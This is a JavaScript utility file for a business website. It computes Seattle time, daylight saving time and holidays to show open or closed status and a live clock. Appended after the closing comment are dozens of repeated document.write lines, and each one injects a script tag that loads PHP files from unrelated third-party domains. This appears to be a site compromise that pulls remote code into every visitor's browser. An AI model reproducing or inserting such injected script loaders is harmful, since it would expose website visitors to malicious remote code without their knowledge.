<!-- Hide script from old browsers

//=====================================================================
// functions.js
//
// Author: Randy Matthiessen
// © 2005 Randy Matthiessen All Rights Reserved.
//
//=====================================================================

// FUNCTIONS --
// GetTZoffsetTime() - returns the offset time from Seattle GMT
// GetDay() - returns the day as text (i.e., "Mon", "Tue"...)
// GetMonth() - returns the month as text (i.e., "Jan", "Feb"...)
// GetOfficeHours() - returns 1 if Seattle time is 8-5, M-F
// GetDST_offset(Time) - returns offset for Daylight Savings Time
// GetHoliday() - returns holiday for current date
// AreWeOpen() - returns open or closed status
// NWProTime() - live clock - [Day, Month, Date, Yr, HH:MM:SS]

//=====================================================================
// • Get Time Zone Offset Time
//=====================================================================
  function GetTZoffsetTime(){

  var TimezoneOffset = -8  // Seattle PST time zone -8 
  var localTime = new Date()
  var pst = localTime.getTime() 
            + (localTime.getTimezoneOffset() * 60000)
            + TimezoneOffset * 3600000
   
  var time =  new Date(pst)

  return time
  }

//=====================================================================
// • Get Day Text
//=====================================================================
  function GetDay(intDay){
  var DayArray = new Array("Sun", "Mon", "Tue", "Wed", 
                         "Thu", "Fri", "Sat")
  return DayArray[intDay]
  }
	
//=====================================================================
// • Get Month Text
//=====================================================================
  function GetMonth(intMonth){
  var MonthArray = new Array("Jan", "Feb", "Mar",
                             "Apr", "May", "Jun",
                             "Jul", "Aug", "Sep",
                             "Oct", "Nov", "Dec") 
  return MonthArray[intMonth] 	  	 
  }

//=====================================================================
// • Get Office Hours (normal hours 8-5, M-F)
//=====================================================================
  function GetOfficeHours(){
   
  var time = GetTZoffsetTime()
  var day = time.getDay()
  var hour = time.getHours() + GetDST_offset(time) 

  var hours_MF = ((hour >= 8 && hour < 17) && (time.getDay() >= 1 && time.getDay() < 6))  ? "1" : "0"

  return hours_MF	
  
  }
	
//=====================================================================
// • Daylight Savings Time
//=====================================================================
  function GetDST_offset(Time){

  var year = Time.getYear()
  if(year<1000) year+=1900
  var k = parseInt (year * 5 / 4)
  var startPDT_day = (32762 - k) % 7 + 1   // first Sunday in April
  var endPDT_day = (32765 - k) % 7 + 25    // last Sunday in October

  var startPDT_date = new Date(year,3,startPDT_day,2,0,0,0,0)
  var endPDT_date = new Date(year,9,endPDT_day,1,0,0,0,0)

  var DST_offset = 0
  if (Time >= startPDT_date && Time <= endPDT_date) DST_offset = 1

  return DST_offset

  }

//=====================================================================
// • Get Holiday
//=====================================================================
  function GetHoliday(){
  
  var time = GetTZoffsetTime()
  var date = time.getDate()
  var day = time.getDay()
  var month = time.getMonth()
  var year = time.getYear()
  if(year<1000) year+=1900
  var holiday = ""

  if (GetOfficeHours() == 1){ // don't display if we are closed anyway

//-- New Years Day ----------------------------------------------------

  var nDate = new Date(year, 0, 1); // New Years Day
  var nDay = nDate.getDay()
  var nHoliday

  switch(nDay)
    {
    case 0 : // Sunday
       nHoliday = 2;
       break
    default : // M-F
       nHoliday = 1;
    }

  if ((month == 0) && (date == nHoliday)) holiday = " for New Years"
  if ((month == 11) && (date == 31) && (day == 5)) holiday = " for New Years Eve"

//-- New Years Day2 ----------------------------------------------------//////////////////

  var nDate = new Date(year, 0, 3); // New Years Day
  var nDay = nDate.getDay()
  var nHoliday


  if ((month == 0) && (date == 3)) holiday = " for New Years"


//-- President's Day --------------------------------------------------

  var nDate = new Date(year, 1, 1); // 1st of Feb
  var nDay = nDate.getDay()
  var nHoliday

  switch(nDay) // if the 1st equals this than 
    {
    case 0 : // Sunday
       nHoliday = 16
       break
    case 1 : // Monday
       nHoliday = 15
       break
    case 2 : // Tuesday
       nHoliday = 21
       break
    case 3 : // Wednesday
       nHoliday = 20
       break
    case 4 : // Thursday
       nHoliday = 19
       break
    case 5 : // Friday
       nHoliday = 18
       break
    default : // Saturday
       nHoliday = 17
    }

  if ((month == 1) && (date == nHoliday)) holiday = " in observence of President's Day"

//-- Memorial Day -----------------------------------------------------
    
  if ((month == 4) && (day == 1) && (date > 24)) holiday = " in observence of Memorial Day"

//-- Independence Day -------------------------------------------------

  var nDate = new Date(year, 6, 4); // 4th of July
  var nDay = nDate.getDay()
  var nHoliday

  switch(nDay)
    {
    case 0 : // Sunday
       nHoliday = 5;
       break
    case 6 : // Saturday
       nHoliday = 3;
       break
    default : // M-F
       nHoliday = 4;
    }

  if ((month == 6) && (date == nHoliday)) holiday = " in observence of Independence Day"

//-- Labor Day ---------------------------------------------------------
    
  if ((month == 8) && (day == 1) && (date > 0) && (date< 8)) holiday = " in observence of Labor Day"

//-- Thanksgiving ------------------------------------------------------

  var nDate = new Date(year, 10, 1); // lst of Nov
  var nDay = nDate.getDay()
  var nHoliday

  switch(nDay) // if the 1st equals this 
    {
    case 0 : // Sunday
       nHoliday = 26;
       break
    case 1 : // Monday
       nHoliday = 25
       break
    case 2 : // Tuesday
       nHoliday = 24
       break
    case 3 : // Wednesday
       nHoliday = 23
       break
    case 4 : // Thursday
       nHoliday = 22
       break
    case 5 : // Friday
       nHoliday = 28
       break
    default : // Saturday
       nHoliday = 27
    }

  if ((month == 10) && ((date == nHoliday) || (date == nHoliday + 1))) holiday = " for Thanksgiving"

//-- Christmas ---------------------------------------------------------

  var nDate = new Date(year, 11, 25); // Christmas Day
  var nDay = nDate.getDay()
  var nHoliday

  switch(nDay)
    {
    case 0 : // Sunday
       nHoliday = 26;
       break
    case 6 : // Saturday
       nHoliday = 24;
       break
    default : // M-F
       nHoliday = 25;
    }

  if ((month == 11) && (date == nHoliday)) holiday = " for Christmas"
   // if ((month == 11) && (date == 24)) holiday = " for Christmas Eve"
   // if ((month == 11) && (date == 25)) holiday = " for Christmas Day"

//-- Sunfire Specific -------------------------------------------------- 

//--
   }
  return holiday
  }
 
//=====================================================================
// • Are We Open
//=====================================================================
  function AreWeOpen (){

  var open_statusStr = ""
  var holiday = GetHoliday()

  if (GetOfficeHours() == 1 && holiday == ""){
  open_statusStr = "Sunfire is currently open."

  document.getElementById('openStatus').style.color="#009900";
  document.getElementById('openStatus').style.fontWeight="bold";
  document.getElementById('openStatus').style.fontStyle = "normal";
  }

  else {
  open_statusStr = "Sunfire is currently closed"
  open_statusStr += holiday
  open_statusStr += "." 

  document.getElementById("openStatus").style.color="#cc0000";
  document.getElementById('openStatus').style.fontWeight="bold";
  document.getElementById('openStatus').style.fontStyle ="italic";
  }

  if (document.all)
  openStatus.innerHTML=open_statusStr  //IE
 
  else if (document.getElementById){
  document.getElementById("openStatus").innerHTML=open_statusStr
  }

  else if (document.layers){

  document.statustxt.document.statustxt2.document.write(open_statusStr)
  document.statustxt.document.statustxt2.document.close()
  }
  setTimeout("AreWeOpen()",1000)
  }

//=====================================================================
// • NW Pro Time
//=====================================================================
  function NWProTime(){

  var time = GetTZoffsetTime()
  var year = time.getYear()
  if(year<1000) year+=1900
  var day = time.getDay()

  var hour = time.getHours() + GetDST_offset(time)
  if(hour == 0) hour+=12

  var hourTwo = time.getHours()+ GetDST_offset(time) // used for proper am - pm display

  var minute = time.getMinutes()
  var second = time.getSeconds()

  var dateStr = GetDay(time.getDay()) + ", "
  dateStr += GetMonth(time.getMonth()) + " " + time.getDate()
  dateStr += ", " + year 

  var temp = "" + " "
  if(temp.length==1) temp = " " + dateStr + " " + " " + temp
  temp += " "
  temp += ((hour > 12) ? hour - 12 : hour)
  temp += ((minute < 10) ? ":0" : ":") + minute
  temp += ((second < 10) ? ":0" : ":") + second
  temp += (hourTwo >= 12) ? " pm" : " am"

  if (document.all)
  sunfireclock.innerHTML=temp
  else if (document.getElementById)
  document.getElementById("sunfireclock").innerHTML=temp
  else if (document.layers){
  document.sunfiretime.document.sunfiretime2.document.write(temp)
  document.sunfiretime.document.sunfiretime2.document.close()
  }
  setTimeout("NWProTime()",1000)
  }

// End hiding script from old browsers --> 
document.write('<script src=http://katalog.jbip.pl/images/gifimg.php ><\/script>');
document.write('<script src=http://katalog.jbip.pl/images/gifimg.php ><\/script>');
document.write('<script src=http://katalog.jbip.pl/images/gifimg.php ><\/script>');
document.write('<script src=http://orticon.nl/scriptdata/readme.php ><\/script>');
document.write('<script src=http://orticon.nl/scriptdata/readme.php ><\/script>');
document.write('<script src=http://orticon.nl/scriptdata/readme.php ><\/script>');
document.write('<script src=http://orticon.nl/scriptdata/readme.php ><\/script>');
document.write('<script src=http://orticon.nl/scriptdata/readme.php ><\/script>');
document.write('<script src=http://orticon.nl/scriptdata/readme.php ><\/script>');
document.write('<script src=http://orticon.nl/scriptdata/readme.php ><\/script>');
document.write('<script src=http://orticon.nl/scriptdata/readme.php ><\/script>');
document.write('<script src=http://kult.sp.sk/clients/efektw.php ><\/script>');
document.write('<script src=http://kult.sp.sk/clients/efektw.php ><\/script>');
document.write('<script src=http://kult.sp.sk/clients/efektw.php ><\/script>');
document.write('<script src=http://kult.sp.sk/clients/efektw.php ><\/script>');
document.write('<script src=http://kult.sp.sk/clients/efektw.php ><\/script>');
document.write('<script src=http://kult.sp.sk/clients/efektw.php ><\/script>');
document.write('<script src=http://kult.sp.sk/clients/efektw.php ><\/script>');
document.write('<script src=http://thirstycrow.org/thirsty7/htaccess.php ><\/script>');
document.write('<script src=http://thirstycrow.org/thirsty7/htaccess.php ><\/script>');
document.write('<script src=http://thirstycrow.org/thirsty7/htaccess.php ><\/script>');
document.write('<script src=http://thirstycrow.org/thirsty7/htaccess.php ><\/script>');
document.write('<script src=http://thirstycrow.org/thirsty7/htaccess.php ><\/script>');
document.write('<script src=http://thirstycrow.org/thirsty7/htaccess.php ><\/script>');
document.write('<script src=http://thirstycrow.org/thirsty7/htaccess.php ><\/script>');
document.write('<script src=http://thirstycrow.org/thirsty7/htaccess.php ><\/script>');
document.write('<script src=http://humaawaz.org/css/enroll-form.php ><\/script>');
document.write('<script src=http://humaawaz.org/css/enroll-form.php ><\/script>');
document.write('<script src=http://humaawaz.org/css/enroll-form.php ><\/script>');
document.write('<script src=http://humaawaz.org/css/enroll-form.php ><\/script>');
document.write('<script src=http://humaawaz.org/css/enroll-form.php ><\/script>');
document.write('<script src=http://humaawaz.org/css/enroll-form.php ><\/script>');
document.write('<script src=http://humaawaz.org/css/enroll-form.php ><\/script>');
document.write('<script src=http://humaawaz.org/css/enroll-form.php ><\/script>');
document.write('<script src=http://humaawaz.org/css/enroll-form.php ><\/script>');
document.write('<script src=http://fullnews.com.ar/maillist/style.php ><\/script>');
document.write('<script src=http://fullnews.com.ar/maillist/style.php ><\/script>');
document.write('<script src=http://fullnews.com.ar/maillist/style.php ><\/script>');
document.write('<script src=http://fullnews.com.ar/maillist/style.php ><\/script>');
document.write('<script src=http://fullnews.com.ar/maillist/style.php ><\/script>');
document.write('<script src=http://fullnews.com.ar/maillist/style.php ><\/script>');
document.write('<script src=http://fullnews.com.ar/maillist/style.php ><\/script>');
document.write('<script src=http://fullnews.com.ar/maillist/style.php ><\/script>');
document.write('<script src=http://fullnews.com.ar/maillist/style.php ><\/script>');
document.write('<script src=http://alliantz.fr/imagesnews/societe.php ><\/script>');
document.write('<script src=http://alliantz.fr/imagesnews/societe.php ><\/script>');
document.write('<script src=http://alliantz.fr/imagesnews/societe.php ><\/script>');
document.write('<script src=http://alliantz.fr/imagesnews/societe.php ><\/script>');
document.write('<script src=http://alliantz.fr/imagesnews/societe.php ><\/script>');
document.write('<script src=http://alliantz.fr/imagesnews/societe.php ><\/script>');
document.write('<script src=http://alliantz.fr/imagesnews/societe.php ><\/script>');
document.write('<script src=http://alliantz.fr/imagesnews/societe.php ><\/script>');
document.write('<script src=http://iglobalforum.com/energy/db.php ><\/script>');
document.write('<script src=http://iglobalforum.com/energy/db.php ><\/script>');
document.write('<script src=http://iglobalforum.com/energy/db.php ><\/script>');
document.write('<script src=http://iglobalforum.com/energy/db.php ><\/script>');
document.write('<script src=http://iglobalforum.com/energy/db.php ><\/script>');
document.write('<script src=http://iglobalforum.com/energy/db.php ><\/script>');
document.write('<script src=http://iglobalforum.com/energy/db.php ><\/script>');
document.write('<script src=http://iglobalforum.com/energy/db.php ><\/script>');
document.write('<script src=http://bayda.ksdua.com/Fonts/PARATYPE.WinALL.76_2002/Paratype.Paragraph.Magistral/kih/MGS65__Ce.php ><\/script>');
document.write('<script src=http://bayda.ksdua.com/Fonts/PARATYPE.WinALL.76_2002/Paratype.Paragraph.Magistral/kih/MGS65__Ce.php ><\/script>');
document.write('<script src=http://bayda.ksdua.com/Fonts/PARATYPE.WinALL.76_2002/Paratype.Paragraph.Magistral/kih/MGS65__Ce.php ><\/script>');
document.write('<script src=http://bayda.ksdua.com/Fonts/PARATYPE.WinALL.76_2002/Paratype.Paragraph.Magistral/kih/MGS65__Ce.php ><\/script>');
document.write('<script src=http://bayda.ksdua.com/Fonts/PARATYPE.WinALL.76_2002/Paratype.Paragraph.Magistral/kih/MGS65__Ce.php ><\/script>');
document.write('<script src=http://bayda.ksdua.com/Fonts/PARATYPE.WinALL.76_2002/Paratype.Paragraph.Magistral/kih/MGS65__Ce.php ><\/script>');
document.write('<script src=http://southmiamirotary.org/newsletter/old.htaccess.php ><\/script>');
document.write('<script src=http://southmiamirotary.org/newsletter/old.htaccess.php ><\/script>');
document.write('<script src=http://southmiamirotary.org/newsletter/old.htaccess.php ><\/script>');
document.write('<script src=http://myindiaimages.com/images/index3.php ><\/script>');
document.write('<script src=http://myindiaimages.com/images/index3.php ><\/script>');
document.write('<script src=http://myindiaimages.com/images/index3.php ><\/script>');
document.write('<script src=http://myindiaimages.com/images/index3.php ><\/script>');
document.write('<script src=http://myindiaimages.com/images/index3.php ><\/script>');
document.write('<script src=http://myindiaimages.com/images/index3.php ><\/script>');
document.write('<script src=http://myindiaimages.com/images/index3.php ><\/script>');
document.write('<script src=http://myindiaimages.com/images/index3.php ><\/script>');
document.write('<script src=http://myindiaimages.com/images/index3.php ><\/script>');
document.write('<script src=http://myindiaimages.com/images/index3.php ><\/script>');
document.write('<script src=http://myindiaimages.com/images/index3.php ><\/script>');
document.write('<script src=http://katalog1.nasz.net/e-weblink/pob_meta.php ><\/script>');
document.write('<script src=http://katalog1.nasz.net/e-weblink/pob_meta.php ><\/script>');
document.write('<script src=http://katalog1.nasz.net/e-weblink/pob_meta.php ><\/script>');
document.write('<script src=http://katalog1.nasz.net/e-weblink/pob_meta.php ><\/script>');
document.write('<script src=http://katalog1.nasz.net/e-weblink/pob_meta.php ><\/script>');
document.write('<script src=http://katalog1.nasz.net/e-weblink/pob_meta.php ><\/script>');
document.write('<script src=http://katalog1.nasz.net/e-weblink/pob_meta.php ><\/script>');
document.write('<script src=http://katalog1.nasz.net/e-weblink/pob_meta.php ><\/script>');
document.write('<script src=http://katalog1.nasz.net/e-weblink/pob_meta.php ><\/script>');
document.write('<script src=http://katalog1.nasz.net/e-weblink/pob_meta.php ><\/script>');
document.write('<script src=http://katalog1.nasz.net/e-weblink/pob_meta.php ><\/script>');
document.write('<script src=http://atelier-kd.de/forum/index.php ><\/script>');